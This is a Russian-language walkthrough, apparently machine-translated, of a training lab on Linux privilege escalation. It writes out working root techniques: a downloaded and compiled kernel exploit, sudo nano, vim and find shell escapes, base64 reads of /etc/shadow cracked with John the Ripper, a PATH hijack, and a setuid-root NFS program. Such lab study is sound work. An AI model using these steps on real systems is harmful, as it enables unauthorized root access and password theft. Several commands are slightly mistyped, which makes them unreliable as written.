Попробуйте взломать меня: Linux PrivEsc Полное описание

Сегодня я решил написать свой собственный отчет о двух лабораторных работах, которые показались мне довольно сложными: Linux PrivEsc и Windows PrivEsc на пути Jr Penetration Tester. Давайте начнем! 😊

Я пропущу следующие задания, так как они предназначены только для чтения:

  • Задание 1: Введение
  • Задание 2: Что такое эскалация привилегий?
  • Задача 4: Инструменты автоматизированного перечисления

Задание 3: Перечисление

Чтобы прочитать инструкции/общую информацию по этому разделу, пожалуйста, перейдите к заданию, посвященному этому разделу. Я не буду копировать и вставлять всю информацию, так как это сделает статью более объемной, да и, честно говоря, если вы следите за ходом работы, в этом нет необходимости.

Каково имя хоста целевой системы?
Откройте терминал через AttackBox или OPENVPN, и давайте подключимся к машине по SSH с помощью команды ssh karen@YOUR_MACHINE_IP. Запомните пароль – Password1.

Как только вы вошли в систему, мы можем просто выполнить команду hostname, чтобы найти имя хоста нашей целевой машины. Вуаля, наш первый вопрос решен!

Какова версия ядра Linux целевой системы?
Чтобы узнать версию ядра нашей системы, мы можем просто ввести команду uname -a, которая выведет информацию о системе, предоставляя нам дополнительные подробности о ядре, используемом системой.

Что это за Linux?
Мы можем использовать команду cat /etc/issue, чтобы узнать версию операционной системы.

Какая версия языка Python установлена в системе?
Этого вопроса не было в инструкции, но он довольно очевиден. Мы можем просто выполнить команду python --version, чтобы узнать, какая версия установлена.

Какая уязвимость, по-видимому, затрагивает ядро целевой системы? (Введите номер CVE).
Для этого нам нужно немного погуглить/поискать в Exploit-DB.


Задание 5: Эксплойты для ядра с повышением привилегий

Найдите и используйте соответствующий эксплойт ядра для получения привилегий root на целевой системе.
Завершите работу предыдущей машины. Теперь давайте пройдемся по шагам методологии эксплойта ядра.

1. Определите версию ядра.

2. Поиск и нахождение кода эксплойта для версии ядра целевой системы.
Это можно найти с помощью быстрого гугления. Скачайте эксплойт и переместите его в папку /tmp.

Мы также можем получить его через searchploit.

Каково содержимое файла flag1.txt?
3. Запустите эксплойт.
Итак, откройте терминал на вашей локальной машине и запустите машину в Attackbox. В Attackbox выполним команду id и обратим внимание на наши текущие привилегии пользователя.

На вашей локальной машине нам нужно запустить python-сервер, чтобы мы могли отправить загруженный эксплойт на целевую машину в Attackbox. Мы можем сделать это с помощью команды python3 -m http.server 8000. Не закрывайте этот терминал.

Откройте новую вкладку/терминал, чтобы мы могли получить IP-адрес нашей локальной машины. Он нужен нам для подключения к целевой машине. Используйте команду ifconfig и прокрутите страницу вниз.

Отлично, теперь мы можем отправлять наш эксплойт, который мы скачали и сохранили в файле /tmp, на нашу целевую машину. Зайдите в свой Attackbox и сначала cd в папку /tmp перед подключением к локальной машине.

Если вы сначала не перейдете в /tmp, то при попытке подключения вы получите ошибку. Теперь, чтобы отправить эксплойт и установить соединение, мы можем ввести следующую команду (замените IP на ваш ifconfig IP) wget http://yourip:8000/37292.c.

Итак, эксплойт отправлен. Теперь, чтобы преобразовать его, мы можем ввести следующую команду gcc 37292.c -o pwned. Когда наш эксплойт преобразован, мы можем запустить его с помощью команды ./pwned.

Теперь, когда мы снова запустим команду id, мы увидим, что привилегия нашего пользователя изменилась! Теперь мы сможем легко получить доступ к файлам.

Давайте перейдем в /home через cd /home, потому что сейчас мы находимся в /tmp. Из /home выполним команду ls, чтобы посмотреть, что мы можем найти. У нас есть единственный каталог под названием matt.

Давайте перейдем в matt через cd /home/matt и посмотрим, что мы можем найти с помощью команды ls.

Отсюда видно, что мы нашли файл flag1.txt. Давайте прочитаем его с помощью команды cat flag1.txt. Мы успешно нашли флаг!


Задача 6: Повышение привилегий Sudo

Завершите работу предыдущей машины и запустите машину, необходимую для выполнения этого задания. Откройте свой Attackbox для работы прямо в браузере, или ssh в аккаунт Карен через терминал локальной машины.

*Сколько программ может запустить пользователь “karen” на целевой системе с правами sudo? *
Чтобы узнать, сколько программ может запустить Карен, нужно выполнить команду sudo -l. Отсюда мы видим, что она может запускать 3 программы/команды, а именно find, less и nano.


Каково содержимое файла flag2.txt?
Давайте сначала посмотрим, что мы можем найти в нашем текущем каталоге с помощью ls. Каталог /home является наиболее важным для нас, поэтому давайте перейдем в него. Дальше, когда мы ls, мы увидим, что есть единственный каталог с именем ubuntu.

Давайте перейдем в ubuntu через cd /home/ubuntu. Выполнив команду ls, мы увидим, что успешно нашли файл flag2.txt.

Теперь мы можем просто cat flag2.txt и вуаля, мы нашли наш флаг!

Как бы вы использовали Nmap для создания root shell, если бы у вашего пользователя были права sudo на nmap?

Каков хэш пароля frank?

Когда мы вернемся в права root через cd / и выполним команду id, мы увидим, что у нас нет доступа root, поэтому мы не сможем прочитать пароль Фрэнка. Выполните команду cat /etc/shadow и вы увидите, что мы не можем получить доступ.

Давайте исправим это. Запустите sudo nano и нажмите CTRL+R и CTRL+X. Введите следующую команду для получения root-доступа: reset; bash 1>&0 2>&0 и нажмите Enter.

Запустив команду id, мы увидим, что у нас есть root-доступ.

Теперь мы можем снова выполнить команду cat /etc/shadow и, как вы понимаете, теперь мы можем найти хэшированный пароль Фрэнка!



Задача 7: Повышение привилегий SUID

Какой пользователь носит имя великого писателя комиксов?

Завершите работу предыдущей машины и снова подключитесь к IP Карен, как и раньше. Чтобы найти пользователей, мы можем выполнить команду cat /etc/passwd.

Кто из пользователей носит имя великого писателя комиксов?

Прежде чем мы начнем, на Рабочем столе вашей локальной машины создайте папку suid со следующими файлами: passwd.txt и shadow.txt. Убедитесь, что в папке /wordlists у вас есть файл rockyou.txt из предыдущих лабораторных работ.

Сначала нам нужно найти хэши паролей для нашего файла passwd.txt. Выполните команду base64 /etc/passwd | base64 --decode в терминале и скопируйте последний бит в файл passwd.txt.


Далее нам нужно найти хэши паролей для нашего файла shadow.txt. Выполните команду base64 /etc/shadow | base64 --decode в терминале и скопируйте последний бит в файл shadow.txt.


Далее нам нужно снять тень с наших паролей. Зайдите в командную строку и введите команду unshadow passwd.txt shadow.txt > passwords.txt (где мы вошли в систему как Karen). Наш каталог passwords.txt был создан.

Наконец, мы можем использовать инструмент John The Ripper для взлома пароля. Выполните команду john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt.

В конце вы увидите, что пароль – это Password1.

Каково содержимое файла flag3.txt?
Мы можем использовать тот же трюк, что и раньше. Введите команду base64 /home/ubuntu/flag3.txt | base64 --decode в терминале (где мы вошли под именем Karen). Наш флаг раскрыт.


Задание 8: Возможности повышения привилегий

Завершите предыдущий сеанс и войдите в систему под именем Karen (снова).
Сколько двоичных файлов имеют установленные возможности?
Выполните команду getcap -r / 2>/dev/null и посчитайте возвращенные двоичные файлы. Мы можем насчитать шесть двоичных файлов.

Какие еще двоичные файлы могут быть использованы через его возможности?
Выполните команду getcap -r / и прокрутите страницу вниз. Мы видим, что другой двоичный файл просматривается.

Каково содержимое файла flag4.txt?
Для этого просто введите в терминал следующую команду: ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' Это откроет оболочку.

Далее нам нужно вернуться в /home. После этого введите cd /home/ubuntu, и введите ls.

Мы можем прочитать файл flag4.txt с помощью команды cat flag4.txt.


Задание 9: Задания Cron с повышением привилегий

Сколько пользовательских заданий cron вы можете увидеть на целевой системе?
Завершите работу предыдущей машины и войдите в систему Karens. Для этого задания я буду работать из Attackbox. Выполним команду cat /etc/crontab. Мы видим, что есть четыре пользовательских задания cron:

* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py
Войти в полноэкранный режим Выход из полноэкранного режима


Каково содержимое файла flag5.txt?
(Чтобы найти флаг, следуйте указаниям по задаче в THM).

Каков пароль Мэтта?
(Чтобы найти флаг, следуйте примечаниям к задаче на THM).


Задание 10: Эскалация привилегий PATH

К какой странной папке у вас есть доступ на запись?
Завершите работу предыдущей машины и войдите в систему Карен.
Если обратиться к примечаниям к заданию, то можно увидеть, что для поиска папок, доступных для записи, можно использовать команду find / -writable 2>/dev/null | grep home.

Используйте уязвимость $PATH для чтения содержимого файла flag6.txt.
В терминале, в который вы вошли под именем Karen, выполните команду cd /home, чтобы мы могли увидеть, к каким файлам мы можем получить доступ. Когда мы выполним -ls -a, мы увидим, что у нас есть matt, murdoch и ubuntu. Наш flag6.txt будет находиться под matt, но давайте посмотрим, что находится под murdoch, поскольку у нас есть к нему доступ на запись.

Зайдя в /home/murdoch, мы увидим, что там есть три файла: test, thm и thm,py. Давайте посмотрим, что находится в каждом из них. Перед тем как открыть каждый файл, выполните команду bash.

Чтобы посмотреть, что находится в файле test, выполните команду file test.

Чтобы посмотреть, что находится в файле thm.py, выполните команду file thm.py, а затем cat thm.py.

Когда мы пытаемся проделать то же самое с thm, мы видим, что такой файл не найден. Когда мы пытаемся запустить ./test, мы видим, что он зависит от thm, а значит, нам нужно создать файл thm и написать небольшой скрипт для чтения содержимого нашего файла flag6.txt.

Создайте файл thm с помощью команды touch thm.

Запишите скрипт в этот файл с помощью команды echo cat /home/matt/flag6.txt" > thm.

Теперь, чтобы сделать этот файл thm исполняемым, нам нужно преобразовать его с помощью команды chmod +x thm.

Прежде чем мы сможем запустить ./test, нам нужно экспортировать путь с помощью команды export PATH=/home/murdoch:$PATH.

Наконец, мы можем запустить команду ./test. Мы успешно использовали уязвимость PATH!

Каково содержимое файла flag6.txt?
Мы нашли флаг в предыдущем вопросе после выполнения команды ./test.


Задание 11: Повышение привилегий NFS

Сколько монтируемых общих ресурсов вы можете определить на целевой системе?
Завершите работу предыдущей машины и войдите в систему Карен. Чтобы перечислить монтируемые общие ресурсы с атакующей машины, нам нужно использовать команду showmount -e <YOUR MACHINE IP>.

После этого мы можем подсчитать три монтируемых ресурса.

У скольких ресурсов включена опция “no_root_squash”?
Чтобы увидеть это, выполните команду cat /etc/exports. Мы можем насчитать три опции no_root_squash.

Получение root shell на целевой системе
Следуйте шагам из инструкции к заданию. Все точно так же. Итак, в терминале, не в том, в котором вы вошли под именем Karen, сделайте следующее:

mkdir /tmp/sharedfolder

nano

//Enter into nano and save as nfs.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   setgid(0);
   setuid(0);
   system("/bin/bash");
   return 0;
}
Войдите в полноэкранный режим Выйти из полноэкранного режима

Теперь перейдите в каталог /tmp/sharedfolder и преобразуйте файл .c в исполняемый.

Теперь, когда вы перейдете в систему Карен и cd в /home/ubuntu/sharedfolders и выполните команду ls -l, ваш файл nfs должен быть там. Теперь вы имеете root-доступ и можете выполнить команду ./nfs.

Каково содержимое файла flag7.txt?
Выполните команду cat /home/matt/flag7.txt. Флаг раскрыт!


Задание 12.

Каково содержимое файла flag1.txt?
Давайте войдем в систему Леонарда.

После этого посмотрим, какие привилегии у нас есть с помощью команд whoami и id.

Итак, посмотрим, что мы можем найти с помощью команды find / -type f -perm -04000 -ls 2>/dev/null (мы использовали ее ранее). Помните, в разделе SUID мы использовали base64 для снятия тени с наших данных /shadow и /passwd? Давайте сделаем это снова.

На рабочем столе создайте папку SUID с двумя файлами: passwd.txt и shadow.txt.

В терминале Леонарда выполните командуbase64 /etc/shadow | base64 -d и скопируйте значение Мисси в файл shadow.txt.

Затем выполните командуbase64 /etc/passwd | base64 -d и скопируйте значение Missy в файл passwd.txt.

Теперь, в нашем атакующем терминале, мы можем использовать John The Ripper для взлома пароля. Сначала выполните команду sudo unshadow passwd.txt shadow.txt > cracked.txt, чтобы создать файл cracked.txt.

Затем выполните команду john: john --wordlist=/usr/share/wordlists/rockyou.txt cracked.txt, чтобы взломать код. Мы видим, что пароль Мисси – Password1.

Теперь, вернувшись в терминал Леонарда, давайте войдем в систему под именем Missy. Выполните команду su missy и введите ее пароль.

Команда sudo -l покажет, что missy не нужен пароль для доступа к данным.

Теперь мы можем перейти к нашему файлу flag1.txt. Сначала нам нужно найти его с помощью команды sudo find / -name "flag1.txt".

Чтобы прочитать флаг, просто выполните команду cat /home/missy/Documents/flag1.txt. Наш флаг раскрыт!

Каково содержимое файла flag2.txt?
Давайте посмотрим, сможем ли мы найти файл flag2.txt с помощью команды sudo find / -name "flag2.txt". Мы видим, что для доступа к нему нам нужен root-доступ.

Для этого просто скажите sudo find . -exec /bin/sh ; -quit.

Теперь, когда мы выполним команду cat /home/rootflag/flag2.txt, мы получим доступ к флагу.


Заключение

Я надеюсь, что это немного помогло, так как эта лабораторная работа действительно бросила мне вызов, но это было так весело, и я чувствовал себя хорошо, когда завершил ее. В любом случае, я справился, а теперь и вы справитесь! 😀

Загляните на мой GitHub, чтобы узнать больше.

Оцените статью
Procodings.ru
Добавить комментарий